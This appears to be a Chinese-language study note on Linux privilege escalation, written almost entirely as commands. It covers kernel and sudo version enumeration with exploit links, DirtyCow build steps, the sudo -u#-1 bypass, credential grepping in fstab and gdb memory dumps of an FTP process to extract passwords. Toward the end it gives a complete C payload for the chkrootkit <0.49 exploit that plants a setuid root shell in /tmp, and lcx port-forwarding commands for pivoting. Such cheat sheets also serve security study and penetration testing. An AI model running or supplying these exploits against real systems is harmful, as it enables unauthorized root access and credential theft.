linux提权学习笔记 操作系统信息 1 2 3 (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal
PATH
如果您对变量内的任何文件夹具有写入权限, 您可能能够劫持一些库或二进制文件:**PATH
**
环境信息
1 (env || set) 2>/dev/null
内核版本
1 2 3 cat /proc/version uname -a searchsploit "Linux Kernel"
编译的漏洞 :
1 2 3 4 5 github.com/lucyoa/kernel-exploits github.com/bwbwbwbw/linux-exploit-binaries github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack
可以帮助搜索内核漏洞的工具
1 2 https://github.com/mzet-/linux-exploit-suggester https://github.com/jondonas/linux-exploit-suggester-2
CVE-2016-5195(脏牛) Linux 权限提升 - Linux 内核 <= 3.19.0-73.8
1 2 3 4 5 # make dirtycow stable echo 0 > /proc/sys/vm/dirty_writeback_centisecs g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
Sudo version 1 2 3 searchsploit sudo sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
1 2 3 4 5 6 7 8 9 10 11 12 sudo -V | grep 'Sudo version' 查看是否受影响的版本,低于1.8.29有漏洞 修改配置文件:vim/etc/sudoers 在root(ALL:ALL)ALL添加一行 test ALL=(ALL,!root)ALL useradd test passwd test su - test sudo -u#-1 id -u 或 sudo -u#4294967295 id -u sudo -u#-1 whoami sudo -u#-1 sh
检查已安装和未安装的内容 、位置
1 2 3 4 ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null #Check if credentials in fstab grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
枚举有用的二进制文件
1 which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
检查是否安装了任何编译器
1 (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
检查已安装包和服务的版本
1 2 dpkg -l #Debian rpm -qa #Centos
可以使用openVAS 检查机器内安装的过时和易受攻击的软件
查看正在执行的进程并检查是否有任何进程具有****比它应有的更多权限
有权访问 FTP 服务的内存
1 2 3 4 5 6 gdb -p <FTP_PROCESS_PID> (gdb) info proc mappings 信息过程映射 (gdb) q (gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD> (gdb) q strings /tmp/mem_ftp #用户和密码
gdb脚本
1 2 3 4 5 6 7 8 #!/bin/bash #./dump-memory.sh <PID> grep rw-p /proc/$1/maps \ | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \ | while read start stop; do \ gdb --batch --pid $1 -ex \ "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \ done
内核溢出提权 1 2 3 4 5 6 7 8 9 查看内核 uname -r 反弹shell执行命令 上传exp 编译 执行 根据内核版本查找对应漏洞 收集exp 可以从www.exploit-db.com查找漏洞利用
linux-exploit-suggerster 1 2 3 https://github.com/mungurk/linux-exploit-suggester.sh/blob/master/linux-exploit-suggester.sh chmod 777 x.sh ./x.sh
mysql UDF 提权
利用SUID提权 1 2 寻找系统里可以用的SUID文件来提权 $ find / -perm -u=s -type f 2>/dev/null
利用环境变量劫持高权限程序提权 1 2 3 4 第一步:查找可操作文件 $ find / -perm -u=s -type f 2>/dev/null 第二步:利用file 命令查看文件是否可执行
•执行该文件
•在执行的时候可能会报错,根据报错来查看调用系统命令
利用chkrootkit <0.49版本提权 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 1.如果发现Linux服务器存在chkrootkit并且版本小于0.49 2.上传一个利用脚本到/tmp目录下并编译 #include <unistd.h> void main(void) { system("chown root:root /tmp/update"); system("chmod 4755 /tmp/update"); setuid(0); setgid(0); execl("/bin/sh","sh",NULL); } 保存为update.c 进入到/tmp目录下 gcc -o update update.c 然后等着管理员运行chkrootkit命令检测系统后门 在发现/tmp/update 所有者会变成root 这时候你在进入/tmp运行update ./update
内网端口转发 1 2 3 4 5 6 7 内网主机输入命令 lcx.exe -slave 外网ip 外网端口 内网ip 内网端口 lcx.exe -slave 200.1.1.1 1111 192.168.1.2 3389 外网主机输入命令 lcx.exe -listen 1111 1311